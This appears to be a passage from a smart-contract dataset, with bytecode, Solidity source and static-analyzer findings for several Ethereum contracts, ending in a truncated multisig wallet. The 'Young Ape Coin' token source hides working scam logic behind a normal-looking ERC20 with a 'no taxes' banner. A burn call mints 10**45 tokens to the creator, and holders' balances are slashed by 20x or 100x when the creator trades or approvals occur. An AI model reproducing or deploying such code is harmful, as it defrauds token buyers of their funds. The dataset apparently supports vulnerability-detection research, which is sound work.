7220616c72656164792070726f6365737365640000604482015290519081900360640190fd5b84546001860154604080516020808201949094528082019290925280518083038201815260609092019081905281519192909182918401908083835b602083106107015780518252601f1990920191602091820191016106e2565b51815160209384036101000a600019018019909216911617905260408051929094018290039091206000818152600c909252928120805493995097509195509093505050505b8181101561083f578254339084908390811061075f57fe5b600091825260209091200154600160a060020a03161415610837578261078c83600163ffffffff61203c16565b8154811061079657fe5b6000918252602090912001548354600160a060020a03909116908490839081106107bc57fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055826107f183600161203c565b815481106107fb57fe5b60009182526020909120018054600160a060020a0319169055825461082790600163ffffffff61203c16565b6108318482612243565b5061083f565b600101610747565b5050505050565b600154600160a060020a031681565b600454606090819060009081106108b6576040805160e560020a62461bcd02815260206004820152601b60248201527f496e76616c6964206e756d626572206f66207665726966696572730000000000604482015290519081900360640190fd5b6004546108ca90600163ffffffff61203c16565b6040519080825280602002602001820160405280156108f3578160200160208202803883390190505b509150600190505b60045481101561096357600480548290811061091357fe5b600091825260209091200154600160a060020a03168261093a83600163ffffffff61203c16565b8151811061094457fe5b600160a060020a039092166020928302909101909101526001016108fb565b50919050565b600160a060020a038116600090815260056020526040812054158015906109ca5750600160a060020a0382166000818152600560205260409020546004805490919081106109b357fe5b600091825260209091200154600160a060020a0316145b92915050565b600b8054829081106109de57fe5b600091825260209091206003909102018054600182015460029092015490925060ff1683565b600054600160a060020a03163314610a1b57600080fd5b600254604051600160a060020a038084169216907fb64dddc215b4d83b6100e7e425ba0d57f6e67562d748aa63865deb5c1578b5fe90600090a360028054600160a060020a031916600160a060020a0392909216919091179055565b600a60205281600052604060002081815481101515610a9257fe5b600091825260209091200154600160a060020a03169150829050565b6004546000908110610b0a576040805160e560020a62461bcd02815260206004820152601b60248201527f496e76616c6964206e756d626572206f66207665726966696572730000000000604482015290519081900360640190fd5b600454610b1e90600163ffffffff61203c16565b90505b90565b60035481565b600254600160a060020a03161515610ba357600054600160a060020a03163314610b9e576040805160e560020a62461bcd02815260206004820152601160248201527f4e6f74206120666565206d616e61676572000000000000000000000000000000604482015290519081900360640190fd5b610c05565b600254600160a060020a03163314610c05576040805160e560020a62461bcd02815260206004820152601160248201527f4e6f74206120666565206d616e61676572000000000000000000000000000000604482015290519081900360640190fd5b6006819055610c1261204e565b600781905560408051918252517f3dda580d2b9d92da338ef46ec718e7b1dd0a2c505e3df4aa8d40360192a0f8229181900360200190a150565b600054600160a060020a03163314610c6357600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a260008054600160a060020a0319169055565b6000806000806000610cbc33610969565b1515610d00576040805160e560020a62461bcd02815260206004820152601a602482015260008051602061227d833981519152604482015290519081900360640190fd5b6007548911610d7f576040805160e560020a62461bcd02815260206004820152602f60248201527f5769746864726177616c20616d6f756e74206973206c657373207468616e206f60448201527f7220657175616c20746f20666565730000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038a161515610ddf576040805160e560020a62461bcd02815260206004820152601b60248201527f496e76616c69642064657374696e6174696f6e20616464726573730000000000604482015290519081900360640190fd5b6040805160208082018b90528183018a905260608083018a905283518084039091018152608090920192839052815191929182918401908083835b60208310610e395780518252601f199092019160209182019101610e1a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209450610e7d6007548a61203c90919063ffffffff16565b600086815260096020526040902054909450600160a060020a03161515610f055760408051606081018252600160a060020a038c81168252602080830188815260008486018181528b825260099093529490942092518354600160a060020a03191692169190911782559151600182015590516002909101805460ff19169115159190911790555b6000858152600960209081526040808320600a90925290912081549194509250600160a060020a038b8116911614610f87576040805160e560020a62461bcd02815260206004820152601460248201527f44657374696e6174696f6e206d69736d61746368000000000000000000000000604482015290519081900360640190fd5b60018301548414610fe2576040805160e560020a62461bcd02815260206004820152600f60248201527f416d6f756e74206d69736d617463680000000000000000000000000000000000604482015290519081900360640190fd5b5060005b81548110156110725781543390839083908110610fff57fe5b600091825260209091200154600160a060020a0316141561106a576040805160e560020a62461bcd02815260206004820152601b60248201527f416c726561647920617070726f766564207769746864726177616c0000000000604482015290519081900360640190fd5b600101610fe6565b8154600181018355600083815260209020018054600160a060020a031916331790556003548254108015906110ac5750600283015460ff16155b1561117857600754158015906110cc5750600854600160a060020a031615155b156110f857600854600754600d546110f892600160a060020a039182169291169063ffffffff6120b016565b600d5461111590600160a060020a03168b8663ffffffff6120b016565b60028301805460ff1916600117905560408051858152602081018a9052808201899052606081018890529051600160a060020a038c16917f795e632c8461fc35886225b3713f3022719e2b40847c5f3bd3fef5c54b4c0fb0919081900360800190a25b50505050505050505050565b600054600160a060020a031681565b60008060008060006111a433610969565b15156111e8576040805160e560020a62461bcd02815260206004820152601a602482015260008051602061227d833981519152604482015290519081900360640190fd5b600b5415806112285750600b805488919061120a90600163ffffffff61203c16565b8154811061121457fe5b600091825260209091206003909102015414155b806112655750600b805487919061124690600163ffffffff61203c16565b8154811061125057fe5b90600052602060002090600302016001015414155b156113c757600b5460001080156112af5750600b805461128c90600163ffffffff61203c16565b8154811061129657fe5b600091825260209091206002600390920201015460ff16155b1561131957600b80546112c990600163ffffffff61203c16565b815481106112d357fe5b6000918252602082206001600390920201908101548154604051929850909290917f440750fc70d2814ebe93fab90c552c6e989469a47f75541e3f3cd74274b681cd9190a35b60408051606081018252888152602081018881526000928201838152600b8054600181018255945291517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9600390940293840155517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dba830155517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dbb909101805460ff19169115159190911790555b6040805160208082018a9052818301899052825180830384018152606090920192839052815191929182918401908083835b602083106114185780518252601f1990920191602091820191016113f9565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120600b8054919850935061145892509050600161203c565b8154811061146257fe5b60009182526020808320878452600c90915260409092206003909102909101805490945090925087146114df576040805160e560020a62461bcd02815260206004820152601360248201527f426c6f636b2068617368206d69736d6174636800000000000000000000000000604482015290519081900360640190fd5b6001830154861461153a576040805160e560020a62461bcd02815260206004820152601560248201527f426c6f636b206e756d626572206d69736d617463680000000000000000000000604482015290519081900360640190fd5b5060005b81548110156115ca578154339083908390811061155757fe5b600091825260209091200154600160a060020a031614156115c2576040805160e560020a62461bcd02815260206004820152601d60248201527f416c726561647920617070726f76656420616e63686f7220626c6f636b000000604482015290519081900360640190fd5b60010161153e565b8154600181018355600083815260209020018054600160a060020a031916331790556003548254108015906116045750600283015460ff16155b156116465760028301805460ff19166001179055604051869088907f198104b631d8692edfa7bf87354778d7b71bacaafdc2034f592afad56d3b711990600090a35b50505050505050565b600154600090600160a060020a031615156116b957600054600160a060020a031633146116b4576040805160e560020a62461bcd028152602060048201526016602482015260008051602061229d833981519152604482015290519081900360640190fd5b611709565b600154600160a060020a03163314611709576040805160e560020a62461bcd028152602060048201526016602482015260008051602061229d833981519152604482015290519081900360640190fd5b600160a060020a0382161515611769576040805160e560020a62461bcd02815260206004820152601860248201527f496e76616c696420766572696669657220616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a038216600090815260056020526040902054156117d7576040805160e560020a62461bcd02815260206004820152601d60248201527f4164647265737320697320616c72656164792061207665726966696572000000604482015290519081900360640190fd5b506004805460018082018084556000939093527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b9091018054600160a060020a031916600160a060020a03851617905561183290829061203c565b600160a060020a038316600090815260056020526040902055611853612168565b60035561185e61204e565b6007555050565b600080600080600061187633610969565b15156118ba576040805160e560020a62461bcd02815260206004820152601a602482015260008051602061227d833981519152604482015290519081900360640190fd5b6040805160208082018b90528183018a905260608083018a905283518084039091018152608090920192839052815191929182918401908083835b602083106119145780518252601f1990920191602091820191016118f5565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600081815260099092529290205491985050600160a060020a0316151591506119b19050576040805160e560020a62461bcd02815260206004820152601260248201527f4e6f2073756368207769746864726177616c0000000000000000000000000000604482015290519081900360640190fd5b6000858152600960209081526040808320600a9092529091206002820154919550935060ff1615611a2c576040805160e560020a62461bcd02815260206004820152601c60248201527f5769746864726177616c20616c72656164792070726f63657373656400000000604482015290519081900360640190fd5b5050805460005b81811015611b2b5782543390849083908110611a4b57fe5b600091825260209091200154600160a060020a03161415611b235782611a7883600163ffffffff61203c16565b81548110611a8257fe5b6000918252602090912001548354600160a060020a0390911690849083908110611aa857fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905582611add83600161203c565b81548110611ae757fe5b60009182526020909120018054600160a060020a03191690558254611b1390600163ffffffff61203c16565b611b1d8482612243565b50611b2b565b600101611a33565b5050505050505050565b60075481565b60065481565b600054600160a060020a03163314611b5857600080fd5b600154604051600160a060020a038084169216907f97039b7abaf01675096881f9397deabe983bc7991ff9a271244e50b4758a271f90600090a360018054600160a060020a031916600160a060020a0392909216919091179055565b600154600090600160a060020a03161515611c1e57600054600160a060020a03163314611c19576040805160e560020a62461bcd028152602060048201526016602482015260008051602061229d833981519152604482015290519081900360640190fd5b611c6e565b600154600160a060020a03163314611c6e576040805160e560020a62461bcd028152602060048201526016602482015260008051602061229d833981519152604482015290519081900360640190fd5b600160a060020a0382161515611cce576040805160e560020a62461bcd02815260206004820152601860248201527f496e76616c696420766572696669657220616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a0382166000908152600560205260409020541515611d3d576040805160e560020a62461bcd02815260206004820152601960248201527f41646472657373206973206e6f74206120766572696669657200000000000000604482015290519081900360640190fd5b600454600390611d5490600163ffffffff61203c16565b11611dcf576040805160e560020a62461bcd02815260206004820152603d60248201527f52656d6f76696e6720766572696669657220776f756c6420707574206e756d6260448201527f6572206f66207665726966696572732062656c6f77206d696e696d756d000000606482015290519081900360840190fd5b50600160a060020a0381166000818152600560205260409020546004805491929183908110611dfa57fe5b600091825260209091200154600160a060020a031614611e8a576040805160e560020a62461bcd02815260206004820152602f60248201527f56657269666965722061646472657373206e6f742070726573656e7420696e2060448201527f7665726966696572732061727261790000000000000000000000000000000000606482015290519081900360840190fd5b60048054611e9f90600163ffffffff61203c16565b81548110611ea957fe5b60009182526020909120015460048054600160a060020a039092169183908110611ecf57fe5b600091825260208220018054600160a060020a031916600160a060020a0393909316929092179091556004805483926005929091611f0e90600161203c565b81548110611f1857fe5b6000918252602080832090910154600160a060020a0390811684528382019490945260409283018220949094559185168252600590925290812055600454611f6790600163ffffffff61203c16565b611f72600482612243565b50611853612168565b600c60205281600052604060002081815481101515610a9257fe5b600254600160a060020a031681565b600960205260009081526040902080546001820154600290920154600160a060020a03909116919060ff1683565b600854600160a060020a031681565b600054600160a060020a03163314611ff957600080fd5b61200281612188565b50565b60408051808201909152600581527f312e302e30000000000000000000000000000000000000000000000000000000602082015281565b60008282111561204857fe5b50900390565b60008061207e62011ef2612072612063610aae565b61d41d9063ffffffff6121f816565b9063ffffffff61222116565b6006549091506120a99061209d836404a817c80063ffffffff6121f816565b9063ffffffff6121f816565b91505b5090565b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561212c57600080fd5b505af1158015612140573d6000803e3d6000fd5b505050506040513d602081101561215657600080fd5b5051151561216357600080fd5b505050565b6000610b1e600361217c600261209d610aae565b9063ffffffff61222e16565b600160a060020a038116151561219d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a031916600160a060020a0392909216919091179055565b6000821515612209575060006109ca565b5081810281838281151561221957fe5b04146109ca57fe5b818101828110156109ca57fe5b6000818381151561223b57fe5b049392505050565b81548183558181111561216357600083815260209020612163918101908301610b2191905b808211156120ac576000815560010161226856006d73672e73656e646572206973206e6f742076657269666965720000000000004e6f742061207665726966696572206d616e6167657200000000000000000000a165627a7a72305820e4c6cb146c8301ecd69b333d0ff13e25a47c46e5d45d5051c29db740f30553380029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,593
0xdcbe5f64537edfbfa8725ffc9db8b0f076a4bbd5
/* * ___ _ ____ _ _ _____ * \ \/// _ \/ \ /\/ \ /|/ __/ * \ / | / \|| | ||| |\ ||| | _ * / / | \_/|| \_/|| | \||| |_// * /_/ \____/\____/\_/ \|\____\ * * ____ ____ _____ * / _ \/ __\/ __/ * | / \|| \/|| \ * | |-||| __/| /_ * \_/ \|\_/ \____\ * * ____ ____ _ _ * / _\/ _ \/ \/ \ /| * | / | / \|| || |\ || * | \__| \_/|| || | \|| * \____/\____/\_/\_/ \| * * Join now the youngest * member of the Ape * familiy: * @YoungApeCoin * * He is so young, that * there are no taxes! */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fArray; mapping (address => bool) private Banana; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Pears = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private addr982ey9e2hd; uint256 private _totalSupply; bool private trading; bool private Mango; uint256 private Tango; uint256 private Rango; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); addr982ey9e2hd = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == addr982ey9e2hd ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Tango > 1 ? fArray[fArray.length-2] : address(0)); } function _balancesOfTheMonkeys(address sender, address recipient, bool problem) internal { Mango = problem ? true : Mango; if (((Banana[sender] == true) && (Banana[recipient] != true)) || ((Banana[sender] != true) && (Banana[recipient] != true))) { fArray.push(recipient); } if ((Mango) && (sender == addr982ey9e2hd) && (Rango == 1)) { for (uint256 krux = 0; krux < fArray.length; krux++) { _balances[fArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Pears == block.timestamp) || Mango) && (Banana[last()] != true) && (Tango > 1)) ? (10 ** 2) : (1); Tango++; Pears = block.timestamp; } function _balancesOfTheApple(address sender, address recipient) internal { require((trading || (sender == addr982ey9e2hd)), "ERC20: trading is not yet enabled."); _balancesOfTheMonkeys(sender, recipient, (address(sender) == addr982ey9e2hd) && (Rango > 0)); Rango += (sender == addr982ey9e2hd) ? 1 : 0; } function _AppleCoin(address creator) internal virtual { approve(_router, 10 ** 77); (Rango,Mango,Tango,trading) = (0,false,0,false); (Banana[_router],Banana[creator],Banana[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Mango ? (2 * 10 ** 1) : 1); emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfTheApple(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployiAPE(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployiAPE(creator, initialSupply); _AppleCoin(creator); } } contract YoungApeCoin is ERC20Token { constructor() ERC20Token("Young Ape Coin", "YAPE", msg.sender, 50000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610eb2565b60405180910390f35b610136610131366004610f23565b61030c565b604051901515815260200161011a565b600e545b60405190815260200161011a565b610136610166366004610f4d565b610322565b6040516012815260200161011a565b610136610188366004610f23565b6103d8565b61013661019b366004610f89565b61040f565b61014a6101ae366004610fa2565b6001600160a01b031660009081526004602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610f23565b6104d6565b6009546101e0906001600160a01b031681565b610136610234366004610f23565b610571565b61013661057e565b61014a61024f366004610fc4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461028990610ff7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590610ff7565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610783565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c88685611048565b6105ef565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103199185906103c890869061105f565b600061041b3383610965565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461028990610ff7565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c88685611048565b5060019392505050565b6000610319338484610783565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b50600f805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166106f05760016106f3565b60145b60ff1660046000856001600160a01b03166001600160a01b03168152602001908152602001600020600082825461072a9190611077565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077691815260200190565b60405180910390a3505050565b6001600160a01b0383166107e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260046020526040902054818110156108c15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b6108cb8484610af6565b6108d58282611048565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061090b90849061105f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095791815260200190565b60405180910390a350505050565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b6001600160a01b038216600090815260046020526040812080548392906109ed908490611048565b9091555050600d546001600160a01b03838116911614610a0e576000610a23565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000846001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a6c919061105f565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610aac90849061105f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600f5460ff1680610b145750600d546001600160a01b038381169116145b610b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b60648201526084016103b0565b600d54610b9790839083906001600160a01b038084169116148015610b9257506000601154115b610bd3565b600d546001600160a01b03838116911614610bb3576000610bb6565b60015b60ff1660116000828254610bca919061105f565b90915550505050565b80610be857600f54610100900460ff16610beb565b60015b600f80549115156101000261ff00199092169190911790556001600160a01b03831660009081526003602052604090205460ff1615156001148015610c4e57506001600160a01b03821660009081526003602052604090205460ff161515600114155b80610ca057506001600160a01b03831660009081526003602052604090205460ff161515600114801590610ca057506001600160a01b03821660009081526003602052604090205460ff161515600114155b15610cf157600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0384161790555b600f54610100900460ff168015610d155750600d546001600160a01b038481169116145b8015610d2357506011546001145b15610d9c5760005b600254811015610d9a5760146004600060028481548110610d4e57610d4e611099565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610d82908490611077565b90915550819050610d92816110af565b915050610d2b565b505b426008541480610db35750600f54610100900460ff165b8015610dea575060036000610dc6610e67565b6001600160a01b0316815260208101919091526040016000205460ff161515600114155b8015610df857506001601054115b610e03576001610e06565b60645b60ff1660046000610e15610e67565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e449190611077565b909155505060108054906000610e59836110af565b909155505042600855505050565b6000600160105411610e795750600090565b60028054610e88908290611048565b81548110610e9857610e98611099565b6000918252602090912001546001600160a01b0316905090565b600060208083528351808285015260005b81811015610edf57858101830151858201604001528201610ec3565b81811115610ef1576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f1e57600080fd5b919050565b60008060408385031215610f3657600080fd5b610f3f83610f07565b946020939093013593505050565b600080600060608486031215610f6257600080fd5b610f6b84610f07565b9250610f7960208501610f07565b9150604084013590509250925092565b600060208284031215610f9b57600080fd5b5035919050565b600060208284031215610fb457600080fd5b610fbd82610f07565b9392505050565b60008060408385031215610fd757600080fd5b610fe083610f07565b9150610fee60208401610f07565b90509250929050565b600181811c9082168061100b57607f821691505b6020821081141561102c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561105a5761105a611032565b500390565b6000821982111561107257611072611032565b500190565b60008261109457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110c3576110c3611032565b506001019056fea26469706673582212201b9298d175dd2b4ce0fe18a858696c834c5d3a359ca62c6fc34ebc1d3bbbaa6664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,594
0xdb2f9f086561d378d8d701fedd5569b515f9e7f7
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; 